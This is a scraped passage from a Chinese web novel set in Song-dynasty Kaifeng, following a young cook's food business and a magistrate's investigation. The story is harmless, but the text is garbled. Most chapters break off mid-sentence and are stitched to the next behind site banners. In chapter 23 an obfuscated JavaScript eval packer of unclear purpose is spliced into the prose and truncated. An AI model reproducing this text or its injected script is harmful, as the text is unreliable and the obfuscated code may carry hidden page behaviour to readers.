汤参军满面喜色:“那人原以为我们不敢大张旗鼓搜寻,偏偏没想到有小裴大人这么个不怕惊动贵人的硬骨头在。” 旁边一位开封府勾当左右厢公事阎港也眉开眼笑:“没想到我们左右厢公事所也跟着小裴大人立了功。” 他们左右厢公事所历来是开封府边缘部门,只负责审城里杖刑60以下的缠斗诉讼事和一些债务婚姻纠葛,也捎带着被开封府其余部门看不起。 却没想到这次跟着小裴大人,立了这么大一个功劳。 裴昭淡淡一笑:“以后宝箓宫至酸枣门这一带百姓能踏实不少。” 就在这时有人轻轻喊他:“大人,官爷?” 裴昭回过头来,却见一位小姑娘扶着一位中年夫人,妇人眼眶含泪,显然被吓得不轻。 他对案子细节过目不忘,很快想起来:“您是那位差点被抓走的人质?” 妇人更加眼泪汪汪:“官爷,我们今天还说过话呢,我女儿就是您送来的,我可是良民啊……”颠三倒四。 裴昭想起来了,这是那位市井妇人。 还是她女儿冷静:“这位大人,我娘今天早些时候在寺里撞到嫌犯,捡到一个吊坠,事多纷扰,现在才有机会送过来。” 说着掏出一个吊坠递过去:“还请大人将吊坠转还嫌犯,免得今后生出什么事端。” 裴昭有些意外,这小姑娘镇定自若不说,而且还条理清晰,几下就撇清家人责任,还当着众人面指明要还给嫌犯,杜绝了自己家后患。 如果不是知道她是个厨娘,裴昭简直要怀疑她是个精通诉讼的师爷了。 这思想转瞬即逝,他接过了吊坠:“好。” “对了,不知大人如何称呼?”那小娘子又开口。 几个衙差们互相挤眉弄眼,小裴大人这是要有桃花啊。 裴昭轻笑,他知道这小娘子探听他名姓不是为了搭讪,而是为了日后若有纰漏好找事主。 他第一次正眼瞧这个小娘子。 见对方身形窈窕,柳条儿般站在日头下,疏朗蓬勃,脸生得很美,可让人印象深刻的是她一对眼睛,寒星一样熠熠生辉。 裴昭正色作答:“在下裴昭,表字德音。” “是《诗经》里‘我有嘉宾,德音孔昭’那个德音吗?”倒不是叶盏学识渊博,只不过当代人谁不知道著名的呦呦鹿鸣食野之苹篇呢。 裴昭再次刮目相看:“正是。” “好名字,祝裴大人平步青云,谢过裴大人,民女告退。”那小娘子不卑不亢,说完几句就告退。 鸣镝看着母女俩的背影纳闷:“这小娘子古怪。”刚才路过大人的小娘子们都有些脸红,还有偷看的,这小娘子居然说了两句话就不咸不淡告退,难道是大人魅力不够? 大斧才不管那么多呢:“听说她做了一顿素斋。可惜我们没吃上。”少爷管下属管得严,不许他们去蹭饭,只能忍着肚饿追捕犯人。 裴昭一笑置之,并未将这个插曲放在心上:“回衙门。” 他拿起吊坠,微微蹙眉:“死者身上留下的证物俱为犀牛角吊坠,怎的这个又是象牙吊坠?” 旁边阎港开口:“可能他犀牛角用完了呗。” 裴昭摇摇头,又提出一遭:“这人明明为大食人,大食全民笃信安拉,他又为何会对佛教如此虔诚?” 一般人买首饰讲究一个不重样,青金石的,明儿是金丝玉,总要不同才好, 那个大食商人的服饰也是五颜六色,当日搜查他的衣柜发现各色颜色织金纹的缠头大袍, 可这嫌犯在好几个现场留下一模一样的项坠,为何在买项坠上他要买这许多? 处处桩桩,都透着蹊跷。 “那又如何?嫌犯已经坐实,捉拿归案,这遭案子算是结了。”阎港豪爽拍拍胸膛,“走,我们去喝酒,我请客!” 另一位下属也开口:“管他呢,如今交由大食蕃坊的蕃长便是。” 大食蕃坊,顾名思义住得都是大食侨民,官方派遣蕃长管他们。 “为何?”裴昭疑惑,“若是大食侨民内斗由蕃长按照大食律法处置。可若与大宋百姓起了纠纷,就要按照大宋律法惩治。” “小裴大人,这您就不知道了。”下属笑嘻嘻解释,“咱们衙门里的案子太多,为了省事索性涉及侨民的案件都移交他们的蕃长处理,省事了许多呢。” “不可。”裴昭摇摇头,“带他回衙门,就说是我的命令。” 大斧坐在车辕上嘀咕:“少爷啊少 19. 第 19 章 《大宋市井人家》全本免费阅读 来人是个中老年男子,穿着绸袍直裰,腰间系着金丝玉佩,看着大约是中产之家。 身后还跟着一位夫人,进门后拱手行礼:“叨扰则个,我与浑家两人在大相国寺进香,吃了这位叶二姐做的饭菜觉得滋味适宜,正好我家老太太近来要办一场素食宴席,不知您可能接下?” 叶盏点点头。 那人喜出望外:“定金是一贯钱,等礼成之后还有四贯钱谢礼。” 叶盏当然是一口应下,五两银子承办一场寿宴在中等阶层里算很高的报酬了。 那人便将要求说出,老夫人如今七十大寿,要求菜肴全素,却又要绵软方便老人咀嚼,还要外表好看体面。 宴请的都是近亲人家,大约有二十桌,那天还要保证出餐及时。 叶盏了然,怪不得能出五两银子的高价。 全素宴本来就考究厨子手艺,能符合他要求的厨子要么被富户人家收拢做私厨,要么就在大酒楼里做掌勺。 私厨不会冒着被开除的风险接私活,伺候自家主子用餐好,几顿也能攒到五两打赏。 大酒楼里要办一场寿宴可不止这个价钱了,除了厨子赚一笔,厨子所在的酒楼也要拿一笔呢,少说得十五两。 虽然五两银子给厨子在中等人家里算是高额支出了,但能满足这个要求的却不多。 再者还要保证出餐速度,除非是专业做酒宴的厨子才愿意,可他们收费也不是这么点。 总之,这五两银子也不好赚。叶盏便点点头:“明日我来府上做几道试菜您尝尝,若是满意我们便找中人签约,若是不满意您的一贯钱就当报酬便是,您瞧这样妥当么?” 那人一听,连连点头:“好,你这法子好。”有章有法,可见是个懂行的。 旁边他夫人面露迟疑:丈夫这回为了省钱冒险找不知名小厨娘,希望不要失败才好。 虽然她也觉得这位厨娘做的素菜很可口,可毕竟是寿宴,万一搞砸…… 正想着就闻得一股香气:“什么味道?” 叶盏笑:“我家正要开饭,您上门是客,一起尝尝可好?” 那位夫人四下打量了逼仄小巷简陋房舍,连连摆手:“不用不用。” 叶盏一笑,也不勉强,只拿了张干净油纸包了一点五香卤毛豆豆干:“您拿着路上尝尝滋味。我后天来府上拜会。” 卤过的毛豆颜色深绿,上面一层毛茸茸的绒毛清晰可见,散发着浓郁的卤香,勾引着食客。 夫人不自觉咽了咽口水,忽然盼着能赶紧回家,奇怪,明明已经在大相国寺吃过饭了啊? 客人走后全家人凑了过来:“恭喜二姐。” 叶盏算定了手里钱财,这一个月到处摆食摊,赚了六贯钱,再加上这位客人的五两,一共是十一两银子。 如今城里的固定食肆一月租金大约是五两银子。有了这十一两,离着她租赁固定摊位更近一步。 宓凤娘不大理解:“摆摊不用交赁金,你有了摊位岂不是少好大一笔赚头。” “如今我摆摊也就白天,耽搁在路上时间很多,而且还要辛苦两位哥哥早晚帮我搬运。再者有了店铺就有了固定客人,方便打出去名声吸引更多食客。”叶盏说出自己的打算。 如今开食摊不过是一小拨正好路过州桥夜市的食客,开了食肆整个汴京城的人都会过来。 还有以后晚上也不用奔波,能多做一会生意,再者早上将摊子雇出去也是一笔收入。 既然女儿打定主意,宓凤娘便也不阻拦,只说:“若是你手里缺钱,娘今日得的银子可以借你。” 还没等叶盏说完,宓凤娘立刻补充:“三钱利息,比当铺便宜一钱。毕竟你是我亲女儿。” 叶盏:…… 好深的母女情。 叶大富在旁嘿嘿笑:“你娘也是怕给了一人惹得其他兄妹埋怨偏心,一碗水端平对大家都好。” 金哥儿立刻开口:“那娘给我们兄妹几人每人发一两银子便是,这也是一碗水端平。” 回答他的是宓凤娘一记轻敲。 一家人闹过,终于开始吃晚饭。 今日晚餐看着就丰盛:琥珀色的糟卤鸭杂,金黄色的油炸小杂鱼、油汪汪的腌瓜菽扣肉、还有深绿的五香卤毛豆和豆干。 玉姐儿欢喜拍手:“真是天天过年。”妹妹来家里就是好啊!时不时就给家里加肉菜,还能隔三差五吃到做菜的边角料和试菜新品。 叶大富先给妻子夹一筷子:“今日你们娘拿了许多银子,是家里的大功臣呢。” “今日大家捡拾的铜钱按人头分。”宓凤娘宣布。 叶家人欢呼起来,再吃起菜更绝滋味十足。 20. 第 20 章 《大宋市井人家》全本免费阅读 叶盏穿越过来才知道大宋市民的人权很高, 举个例子,朝中大臣们上下班都坐骡车牛车,少有人坐轿子,就是因着他们觉得轿夫挑轿子跟畜力无差异,不应当把人当做牲畜使用。 并不像她看过的电视剧里动辄就家养许多奴婢。 首先,律法明面上是禁止买卖人口的,(虽然民间私下里会有黑市交易)。① 富人家里的奴婢大都是是雇佣而来,甚至官府为了防止终身为奴,还立法规定雇佣奴婢最多十年。② 家养奴婢自称“一房家人”、“女使”,并不会以“老奴”自称,他们地位并不低下。 先前叶家在乡下做地主时与那些佃农也只有经济租赁关系,并没有人身依附, 再加之叶盏长在红旗下来自人人平等的新社会,就更不能接受在家中豢养奴婢。 因此她想的是先跟姐姐合伙做生意,等以后日子起来了再雇佣几个帮手。 听说叶盏要跟着自己去兜售小菜,玉姐儿勉强一笑:“那地方有什么意思?” 青花布手巾系在了腰间,将卤豆角等小菜放入专门的碟子里,再盛放进托盘。 再去各家相熟的脚店食肆,跟他们拿了腌青梅、香糖果子、盐豉汤、炒肺这样的下酒小菜。 “不用先给钱吗?”叶盏好奇问。 那脚店老板笑:“玉姐儿是我们大主顾呢,你们先拿去卖,等赚了钱再来结账。” 叶盏恍然大悟,焌糟娘子们相当于是脚店食肆的分销商,有她们帮忙在各家酒楼推销,食肆的菜肴销量也会增加。 以后等她有了固定营业地点,也应当多笼络些焌糟娘子帮忙。 将各色下酒菜收进食盒,再出发去附近的酒楼。 汴京夜生活才刚开始:汴河两岸酒楼林立,游人如织,灯火通明。 叶玉带着叶盏进了一家酒楼,里面已经有不少焌糟娘子。 原来汴京城里有些酒楼有酿酒的牌照可以出售酒类,但店家要么单纯售酒不做酒菜,要么自家菜肴滋味一般无法吸引客人,所以焌糟娘子应运而生。 她们在旁帮忙给客人斟酒、热酒,旁边食盒里还拎着各色精致下酒菜在酒桌旁销售。③ 卖酒的店家也乐意:下酒菜越多越吸引客人喝得多,酒水类可比菜肴类利润大多了。 原来焌糟娘子一般都是已婚妇人,像姐姐这样梳着少女发髻的便显得异类。 叶盏颇为新奇,四下打量。 原来焌糟娘子的收入一方面来源自斟酒的小费,另一方面来源自兜售的小菜。 干这一行不是有下酒菜就好,还得学会察言观色、见缝插针。 看着一桌客人谈兴正浓时就莫要上前惊扰,只静悄悄在旁倒酒热酒。 最好是寻着他们刚落座不久或喝了一阵意兴阑珊时再上前,询问: “这位客人,可要下酒菜?” 而后一一推销:“这是樊楼的套鸭、这是段家爊物最好的烤肉、孙好手家馒头④。” 总归都是汴京城里的招牌美食,类似现代全聚德的烤鸭、仿膳的燕尾桃花虾、京兆尹的山药卷。 客人果然好兴致,手指点菜:“这,这,这几样放桌上。” 随后付了银钱。 叶盏在旁估算了下,这银钱比从原店购买要高不少,想必这就相当于现代的“外卖费”加“跑腿费”了。 看明白了其中门道,叶盏也开口揽客:“这位客人,我们的菜有糟卤鸭杂并毛豆、有蒜香芥末辣螺蛳、还有香卤莲藕等。” “哦?这些做法不曾听过,是哪家酒楼新出的招牌菜不成?” “是我家小妹自己做的菜式。”玉姐儿语气间很是自豪。 那人噗嗤一笑:“这酒是上好的玉泉春,要配好菜才不辜负了这汪酒,不是什么鸡零狗碎的菜都能配的。” 玉姐儿眉头一拧,眼看就要生气,这时有个旁边斯文些的书生开口:“叶大姐,你家的菜端来我看看。” 原来是位相熟的客人,叶玉点点头,叶盏便把蒜香芥末辣螺蛳和一碟香卤莲藕端了过去。 玉姐儿一边麻利将黄酒倒入盆里,舀半旋子,在旁边的小锅烫热,再倒入酒壶,一边在心里嘀咕:万一客人不满意呢? 妹妹做得菜她绝对有信心,可是再怎么好吃也是素菜和螺蛳这样登不得大雅之堂的小菜,比得过客人桌上那些大鱼大肉吗? 可惜今日白天里卤的肉菜都卖出去了,晚上时间太短只够卤些素菜做点小菜,不然也不至于如此被动。 玉姐儿有点忐忑。 她悄悄打量书生,书生则在打量菜肴。 螺蛳被收拾得很干净,外壳上的青苔都不见一个,可见做菜的人用心刷过,至少干净卫生,书生点点头,很是满意。 尾巴端杯剪开了一个小口子,书生拿起来,放在嘴边一嘬。浓郁的汤汁立刻在嘴里炸开,让人舌尖立刻尝到多种滋味。 先尝到的是浓浓的蒜香滋味,芥末应当是经过翻炒,少了呛人多了提鲜,还有淡淡的紫苏香气。 饱满肥厚的螺肉入口,汁水浓郁,吸得呲溜一声,大量咸香的火辣滋味涌入口腔。 咀嚼起来很是入味,蒜香中带着鲜美,味道浓郁。 平日里他嫌嘬螺蛳不文雅,可今日却是越吃越好吃,忍不住夹起一个又一个。 脆而弹牙的大块螺肉搭配着蒜香和芥末香气,泡在透着油光的醇厚汁水里,香而不呛,久久不能忘怀。 书生一口气吃了好几个,才赞:“这菜做得精细。” 他又夹了一块香卤莲藕,赞道:“脆爽爆汁。” 书生非但自己觉得好,还跟相熟的客人推荐,那些客人看着好,便也从叶盏这里点了菜肴。 等吃到口好,纷纷称赞:“不错。” 原来那位拒绝的黑头巾客人便有些坐立难安,店里嘬吸螺蛳的声音此起彼伏,鼻端糟卤的淡淡香气萦绕,跟酒香相得益彰。 他咽了咽口水,开口:“那个,小娘子,我也要几份菜肴。” 玉姐儿撇撇嘴,不打算搭理他,叶盏冲姐姐摆摆手,把食盒提了过去。 那位客人一口气点菜:“糟卤鸭杂并毛豆、有蒜香芥末辣螺蛳、还有香卤莲藕,都来一遍!” 刚才可馋死他了,一定要将所有的下酒菜都点一遍。 鸭杂被酒糟浸泡过,清清爽爽透着琥珀色的酒糟色,吃一口鸭胗柔韧,虽然肥厚但酒糟的 21. 第 21 章 《大宋市井人家》全本免费阅读 裴昭在隔壁酒楼与人谈事,闲谈间眼睛一扫,就看见了对面的叶盏。 叶盏穿着白天在大相国寺那一身衣裳,只腰间多系了个青花头巾,装扮一如焌糟娘子。 两边酒楼窗户都开着,裴昭只看见叶盏在酒桌间穿梭,想了想她是开食肆的,应当是在卖下酒菜? 他并未放在心上,只继续跟人闲谈,再一抬头,却见她被人拉下了楼。 裴昭心中一动。他借口喝多了,往楼下探身看去,便见叶盏站在大街上抹眼泪,旁边人在安慰她。 裴昭想了想,起身告罪:“楼下遇到个熟人,下去问个好。” * “一贯觉得你稳重妥帖,比我更像个姐姐,怎得今天这样?”玉姐儿哄妹妹,“快别哭了。” “我们是双胎!本就才差了前后脚。”叶盏愤愤抹眼泪。 “到底还是小孩子,走,去给你买金丝党梅。”玉姐儿好声好气,就像在哄小孩,“听说是西夏运过来的,可好吃了。” 西夏?叶盏点点头。 抹完眼泪后她自己奇怪,穿越前她就是个成年人了,平日里性格更是冷静沉稳,基本没哭过,怎么穿越后越活越小了呢? 叶盏想了想,哭是为了宣泄感情,但孤儿哭给谁看呢?只能咬牙把哭的力气用在战胜困难上。 穿越前她没有感受过亲情,知道哭也没用,所以才会在这个世界把缺失的童年重新体验一遍。 因为现在有人在乎她的眼泪,所以才会掉眼泪。 想着想着又吸吸鼻子。 “可有遇到什么难处?” 叶盏抬头看,却是那位裴昭大人。 每次遇到他他都是身形挺拔如青松,简单的直裰也能被他穿得雍容贵气。 只是不知道为何他会出现在这里? 玉姐儿也是一头雾水。 旁边的小厮开口:“我家少爷无意间觑见您从酒楼下来在街头哭,不知是不是受了什么委屈?” 裴昭拱手:“这里有街道司,附近就是开封府。若有难处可找官府为你主持公道。” 玉姐儿赶紧摆摆手:“多谢您。” 闹大了她以后还怎么在酒楼做生意? 叶盏想了想,赶紧告状:“那酒楼里有个老头,言语无状,调戏我们姐妹,我才哭的。”想了想又补了个万福。 裴昭蹙眉,看了鸣镝一眼,鸣镝立刻开口:“我这就去寻街道司过来。两位放心,一定训诫他一顿。” 叶盏躬身行礼:“多谢这位大人。” 街道司的衙差气喘吁吁赶过来,听说来龙去脉后当即上了酒楼。 不知他怎么训诫的,反正那老头臊眉耷眼从酒楼里出来,给玉姐儿拱手道歉:“叶大娘子,是我唐突冒犯了,还请您原谅则个。” 玉姐儿从鼻子里“嗯”了一声,算是接受了道歉。 看着那坏老头离开,叶盏对这位小裴大人很是感激:“多谢大人。”刚才她就犹豫要不要当众骂那老头一顿,可是她们两个小姑娘跟老头对骂,只怕没影子的事也会变成有影子的事,反而惹上一身膻。 反而是裴昭这法子既帮她们出了气又不落人口实。 裴昭微微颔首:“举手之劳。” 他性子冷清,手下的小厮却活泼:“叶娘子,您若是过意不去,下回去您家吃饭给我们多放点肉便是。” 上回他就喝了两口鱼汤就被叫走了!少爷一口都没喝!可惜了那汤,当真是滋味鲜香,口感浓郁。 叶盏笑:“那是自然,您下回来我食摊全部免费。”帮她们出气,这可是大恩人。 裴昭唇角带了一抹笑:“那裴某便告退了。” 等裴昭拱手道别后,玉姐儿就迫不及待从叶盏口里探听了这位大人的底细,一边咬着金丝党梅一边感谢:“这位小裴大人看着就觉一身正气,果然是个好人。” 叶盏从姐姐手里艰难扒拉了一颗党梅:“是啊,下回给他多加点肉。”只是脸熟遇见了几次,他就能仗义出手,的确是个好人。 两姐妹商量了一遭,玉姐儿同意以后不再去各处叫卖了,跟着妹妹开食肆。 叶盏许诺给她一半的收益分成,玉姐儿摆手不要:“本是你出的,我最多算是个掌柜。”叶家人这点遗传宓凤娘,丁是丁卯是卯,亲兄弟明算账。 商量后最终定下分三分之一给玉姐儿。 玉姐儿虽然不会做饭,但她会洗菜擦桌子,而且她自告奋勇,打算以后联络自己的老同事焌糟娘子都来叶二姐食肆采购小菜。 不过没等她出面宣扬,第二天已经有焌糟娘子上门来询问了:“昨天你们卖的那下酒菜可还有卖的?” 酒楼里的客人 22. 第 22 章 《大宋市井人家》全本免费阅读 玉姐儿好奇抬头,却见一位穿金戴银的少妇站在灶房门口,身边一左一右两个丫鬟,用鄙夷的眼光上下打量她们。 玉姐儿蹙眉,看向秋心。 秋心忙开口:“见过二夫人。”又介绍叶盏:“这两位是我们夫人请来给老太太做寿宴的大厨。” “看着不过两个黄毛丫头,就能做大厨?”二夫人满脸不屑,“大哥大嫂不是被人骗了吧?” “你?!”玉姐儿可不惯着她,梗起脖子就要上前。 叶盏忙拉住姐姐手,轻轻朝她摇头。 这亲兄弟间别苗头的事叶盏在杜家见多了,因此她既不意外也不打算掺和, 回头两房为了面子和好,做他们拿来作筏子的路人很容易化身背锅侠,遭受双方的齐齐谴责。 秋心显然也怕二夫人,摆摆手:“二夫人说笑。”一边给小丫鬟使眼色,叫她们请大夫人过来。 陶夫人过来很及时,脚步匆匆:“弟妹,这又是何事?” “大嫂个大忙人,怎么还有机会进灶房?”二夫人款款摇着小扇,“大嫂,您日理万机,莫要被这种市井小厨子骗了。” “这位厨娘技艺出色,大相国寺的和尚们都交口称赞过。”大夫人按捺不住心头火气,说话尾音都带几分高亢。 “女子做厨子?”二夫人从鼻子里嗤了一声。 叶盏开口:“大宋有许多厨娘,女子做厨娘并不是稀罕事,还请这位夫人莫要污蔑女子。” 这倒是实话,大宋女子的职业选择之一就是做厨娘,大街上并不以厨娘为怪。 陶二夫人依旧是一副不以为然的样子:“我也花大价钱从麒香荟请了位大厨过来,大嫂不如叫他们同台比拼如何?” “做好菜之后齐齐端上去叫娘品尝,哪个更好吃就选哪位如何?” 这…… 陶夫人迟疑,看了看叶盏。 她吃过叶盏做过的菜肴,的确色香味俱全,可她毕竟是市井小厨娘,而麒香荟是本坊知名酒楼,弟妹请来的大厨又肯定是大手笔。 能赢过吗? 叶盏看出了大夫人的迟疑,含笑冲她点点头。 “怎么?大嫂不敢比?”二夫人满脸讥讽,眉梢都扬起几分。 “比就比。”大夫人咬咬牙,下定了决心。 二夫人拍拍掌:“那我现在就叫麒香荟的高大厨过来。” 大夫人眉头一挑,居然能现在就过来,可见二夫人并不是一时突发奇想,而是早有安排,预谋着要打擂台了。 那,这小姑娘行吗? 叶盏不慌不忙,四下查看灶房,检查调料、配料,一看胸有成竹。 陶大夫人这才稍微有了些信心。 陶家到底殷实,厨房就有两个,叶盏和高大厨各据其一。 那位高大厨高大肥胖,带着两个小徒弟,神色也很倨傲:“这稳赢的局,也值得二夫人花大价钱请我过来?” 叶盏并不跟他搭话,只拿出早就备好的云片糖分发给陶家厨子们。 这些厨子们未必向着自己个生面孔,不如先跟他们搞好关系。 陶家厨子们收了云片糖都还算配合,给叶盏指明灶具、配料,还指派了个烧火的小丫头,何况秋心不眨眼盯着,倒也还算顺利。 叶盏沉下心来仔细切菜,熬制起了素高汤。她不理会外头高大厨的言语奚落,只想着专心把自己要做的事做好。 一会功夫两人就做好了菜肴。 秋心长长松了口气,忙吩咐婆子们:“快端到上房去,请老太太品尝。” 丫鬟婆子们端走了菜肴,玉姐儿坐在灶火前的小板凳上,手里捧着云片糖,一边小声把自己刚才探听到的情报说出来: 原来陶家原来是富家翁,老大爱读书考科举,一门心思要迎娶恩师家的女儿,老二接手家业,聘了门当户对的富商女。 老大多年科举不中,夫人又只会吟诗作对,跟婆母说不到一起去。 陶老 23. 第 23 章 小丫鬟定睛仔细看,怎么都瞧不出不同, 陶老夫人笑:“一会子赏你吃一个。” 小丫鬟大喜。 陶二夫人撇撇嘴,为表公平她和大嫂都不许进灶房。 可是她一看就知道满满一桌菜那是高大厨的手艺,里头煮干丝、烩豆腐,样样都是麒香荟的招牌菜。 因此她拿起筷子打岔:“汴京城里有句俗话叫花木瓜,空好看,这看着好看也不知道是不是中看不中吃,先尝尝看。” 自有丫鬟分菜到各自碟里,三人举起筷子。 老夫人先夹起一个葫芦。 为了让那小丫鬟看清楚,她还特意用筷子从中夹断。 这下大家都看清楚了,葫芦当真是假的,里头还有红色的馅料呢,看样子应当是红枣蜜豆馅。 老夫人夹起半个葫芦送进嘴里。 先是清凉的蜂蜜味道,却不是一味的甜,有点林檎①的微酸,想必是加了林檎果酱,可见这做菜之人用了心思。 尝过了外面裹着的酱料再尝葫芦主体,尝到了小米黄米的滋味,却很软糯。 外表丝毫看不出来,想必是做饭之人将黄米小米都上了石碾子碾碎,又过滤过捏成葫芦形状,从外面看是半点都看不出来。 最里面的红枣蜜豆馅则甜而不腻,带着醇厚的香甜。 整体吃上去绵软,细滑,似乎在吃一块云朵。 老夫人年纪大了,最喜欢甜软香腻的味道,因此这道菜算是很合她的胃口,她吃了半个,还要夹起另外半块。 却被大儿媳妇阻拦:“娘,这半块您就别吃了。” 二夫人嗤笑一声:“大嫂,这是舍不得这几口粮食啊?” 陶老夫人也看大儿媳妇,人老了力不从心,猜疑心也就变重了。 陶大夫人没理会弟妹,只跟老夫人解释:“这些粗粮经不起多吃,难免伤了脾胃,再说黏黏糯糯进了胃不好克化,上回郑郎中不还叮咛让您少吃糯米等物吗?” 陶老夫人想想,也是这么个道理,她不喜欢大儿媳却把郎中之话奉为圭覆,因此听话放下筷子,却看另外一道菜五香夹干牛肉。 叶盏做这的这道菜有点像现代的蒸扣肉,只不过是将豆干红烧加了酱油之后充作牛肉,取得就是浓墨重彩之意。 原本她的素菜都是色彩淡雅的,可来到陶家听说了陶家底细后临时改了主意,加了一道浓油重酱的菜式。 果然陶老夫人一吃这道菜就大为赞叹:“用料足!滋味重!”陶家从前是商户,当家太太们都节俭,做菜喜欢咸一点这样能少吃菜多下饭。 厚厚的豆干块提供了牛肉一样的口感,柔韧浑厚;芋头则软烂,两种不同的口感加上浓厚的酱料勾芡,让人欲罢不能。 陶老夫人很喜欢这道菜:“有牛肉宴客,这道菜在席面上也上档次。”耕牛不许宰杀,市面上牛肉少见,因此价格高昂,宴席上有牛肉,虽然是假的也有面子。 别笑话她老人家虚荣,殊不知乡下宴客还有用木头雕刻成的鱼和猪肉块呢,红白事厨子浇上酱汁,来客在木鱼上扒拉扒拉,用筷头蘸点酱汁送进嘴里,就当是吃过鱼了。 陶老夫人又夹了一筷子,年轻时舍不得吃牛肉,年老了牙口嚼不烂牛肉,这道菜正好合乎她的心意。 眼看她连着吃了两道对手的菜,二夫人急了,人在饥饿和吃饱时对菜肴的评价能一样吗?这都吃饱了还怎么评判? 她开口:“娘,我们去尝尝另外那桌的。” 说罢亲手盛了一碗煮干丝递给老夫人。 大夫人瞪大眼睛,原本她不知道哪桌是谁做的,见老二家这态度便明了这多的一桌肯定是高大厨所做。 她有点紧张,舔舔嘴唇,一多一少,自己请来的厨娘岂不是输了? 老夫人一向喜欢二儿媳贴心,满脸慈爱笑容接过小碗,拿调羹舀了一口进嘴里。 这一下笑容就消失了。 这碗煮干丝是将干豆腐丝切成丝状,然后再加各色配料炖煮而成。平心而论手艺很好,豆腐切成了细丝,调料成芡汁挂浆。 可是它做得太清淡了! 芡汁里只加了点素香菇丁,盐都没怎么加,吃的就是干丝本身的清淡。 对平日里出入酒席的食客来说这就是极好的一道素菜,清淡爽口,大鱼大肉间隙吃一碗立刻觉得胃都舒服了, 因此这道煮干丝是麒香荟的招牌菜,食客们解酒解腻都会点这份菜。 可是高大厨忘了,这次吃饭的是一位年轻时重口味年纪大了又常年茹素还味觉退化的老夫人。 陶老夫人摇摇头:“这菜好是好,可我平日里吃吃也就罢了,要做寿宴摆酒席招待客人还是不能这么清淡。” 再看这一桌上虽然满满当当,但都一眼能看到食材本身:清高汤煮白菜、角瓜炒豆干、酱烧豆腐。 她办素寿宴是不想造杀业,但也要看着尽量排场体面,不然叫他们来吃清水煮青瓜白菜,那不是得罪亲戚们吗? 像另外一桌就很合她心意:看不出来原本形状的葫芦、仿牛肉的豆干、还有另外一盘看着像百花盛开的菜肴。 这才是体面呢。 二夫人委委屈屈:“娘,可是您看这个刀工很好啊,豆腐干被切得这么细,也很体面。” 大夫人却指着那道百花罗汉上素:“那细丝不也是豆腐切成?”弟妹明目张胆引导老夫人,让她这个老实人也急了。 大家都看过去,果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你们放屁!”玉姐儿叉腰,“我妹妹是全炭场巷,不,宁平坊,不,全汴京城最好的厨子!” 惹得那两个徒弟抚掌大笑:“我不曾见过如此狂妄之人。” “好了好了。”高大厨呵斥徒弟,“不要喧哗。” 玉姐儿刚觉得这个当师傅的还不错时,就见高大厨倨傲自上而下看了她们一眼:“跟市井小厨吵架,你们也不嫌跌份。” ? 玉姐儿怒了。 刚要冲上去战斗,就听得月洞门外有个丫鬟的声音:“我们老夫人定下用哪家的了。” 24. 第 24 章 陶家大夫人行事很有章法,寿宴前一天就派了丫鬟去请叶盏去暂住。 叶盏想想,寿宴当日她半夜就要起床,从家里赶过去难免仓促,因此点头应了下来。 宓凤娘一听有热闹可凑,当即也要去:“你娘我这口才了得,万一恭维得老寿星高兴,又像长公主一样赏我银钱……” 叶盏想想忙起来必要有人帮忙,便应了下来:“只一遭,不许贪杯。” 宓凤娘嘴里咂摸了一下,恋恋不舍点头。 既然母女三人都去,索性连叶璃也带上了,不然家里只余她一个女子难免寂寞。 叶大富一方面舍不得妻子离开,一方面又很高兴:“今儿个我也能尝尝一人独享大床是个什么滋味。” 叶盏意外:“大哥呢?”二哥常年住军巡铺和他那些兵士兄弟们住一起,只在家里吃晚饭。 “你大哥从十四五就不在家里住了。”叶大富浑不在意,“说他长大了跟妹妹们住不方便。” 叶盏回忆,果然只记得每次吃完晚饭大哥擦嘴后都会出去,她还当是去冶游,原来都没在家里住么? 所以大哥为了让妹妹们住得舒心,每晚都有家不归? 玉姐儿怕叶盏又要哭,赶紧放下手里绿豆饼去宽慰叶盏:“明明你在外面当奴婢是最苦的,怎么一听我们过得不好就要哭啊。” 叶璃在旁冷静摸摸下巴,总结:“二姐,心太软。”像个小大人。 她随手摸出六枚铜钱以摇钱法起了个简单的卦:“天风卦,他乡遇友喜气欢,须知运气福重添。大吉,我可以去。” 母女四人进了陶家,陶夫人果然热情,没因人多而不高兴,反而让秋心给准备好的客房再加张围子榻。 放下铺盖宓凤娘四下打量:“这陶家果然是厚道人家,怪不得积福人家庆有余,怪不得从商户人家出个做官的。” 床上细苇叶编成的箪席、干净的棉被一应俱全,怕她们受不了暑热,还有竹编的竹夫人; 枣木的衣箱敞开着,里头还放着樟脑丸,方便她们放自己衣物。 梳妆台上摆着冠梳、香饼子、篦子、刷牙子①、甚至还有上等牙粉。旁边地上摆着漱盂子和烘盘。 过一会还差秋心送了茶壶过来,说是从集市上买来一壶雪泡豆儿水,请她们品尝。 宓凤娘咋舌,叶盏笑:“等我以后赚了大钱,咱家人也有这等好享受。” 宓凤娘不信,却不想打击女儿:“乖女,难为你有这份心。” 叶璃随手又起了一卦:“泽地萃卦②,愁疑从此都消散,祸门闭来福门开,大吉。姐姐必会心想事成。” 宓凤娘看见她起卦就头疼:“祖宗,我送你去学时妖,是想让你学点皮毛糊弄人骗钱糊口就行,你钻研那么深作甚?” 玉姐儿不理会那些,仔细给妹妹缝裤子。 宓凤娘看见又大惊小怪:“人人都穿开裆裤,偏盏姐儿不同。” 叶盏不好意思摸摸头,她穿越过来这么久还是无法适应这一点,虽裤子穿在裙子下面,但穿开裆裤总感觉下面凉飕飕的不习惯,索性把□□自己缝起来。 主人家殷勤,叶家人也知道回报,简单洗手后就去厨房准备明天的配菜。 叶盏拿起豆芽、春笋、香菇等物开始熬制素高汤, 宓凤娘划了一根引火奴,用铜火钩拨弄几下,点燃了灶房的火,开始烧火,她厨什么毁什么,但烧锅还是可以的。 叶璃也拿着火夹有样学样,点燃了泥风炉,接过姐姐手里已经装好的砂锅丸子煲,开始炖煮,听说要这砂锅煲要做二十锅呢,今天先把难煮的素丸子、莲藕这些煮熟,明日正式宴席时再摆上粉丝白菜等容易软烂的配菜,这样能加快出菜效率。 饶是有叶家奴仆帮忙,叶盏还是做到了深夜,为着感谢陶夫人款待,她还做了一顿简单的晚饭叫仆人送过去。 大夫人不茹素,叶盏便做了肉菜:有红焖蹄筋、小茴香爆羊肉、双色橘瓣鱼圆。 